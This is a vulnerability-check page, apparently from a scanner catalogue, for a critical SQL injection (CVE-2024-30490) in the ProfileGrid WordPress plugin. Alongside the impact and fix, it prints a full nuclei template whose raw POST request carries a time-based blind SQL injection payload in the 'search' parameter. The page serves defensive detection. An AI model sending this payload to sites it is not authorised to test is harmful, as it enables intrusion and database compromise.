ProfileGrid <= 5.7.8 - SQL Injection

criticalseverity

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.

Impact

Attackers can execute arbitrary SQL queries, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to ProfileGrid version 5.7.9 or later.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=7 and contains_all(body, "No group matches found.", "pm-") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-30490 -u <target>

The full check

id: CVE-2024-30490

info:
  name: ProfileGrid <= 5.7.8 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data theft, data tampering, or database compromise.
  remediation: Update to ProfileGrid version 5.7.9 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/profilegrid-user-profiles-groups-and-communities/profilegrid-578-unauthenticated-sql-injection
    - https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30490
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/profilegrid-user-profiles-groups-and-communities/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,profilegrid,sqli

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=pm_get_all_groups&search=test'+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+-&sortby=newest&pagenum=1&view=grid

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'contains_all(body, "No group matches found.", "pm-")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from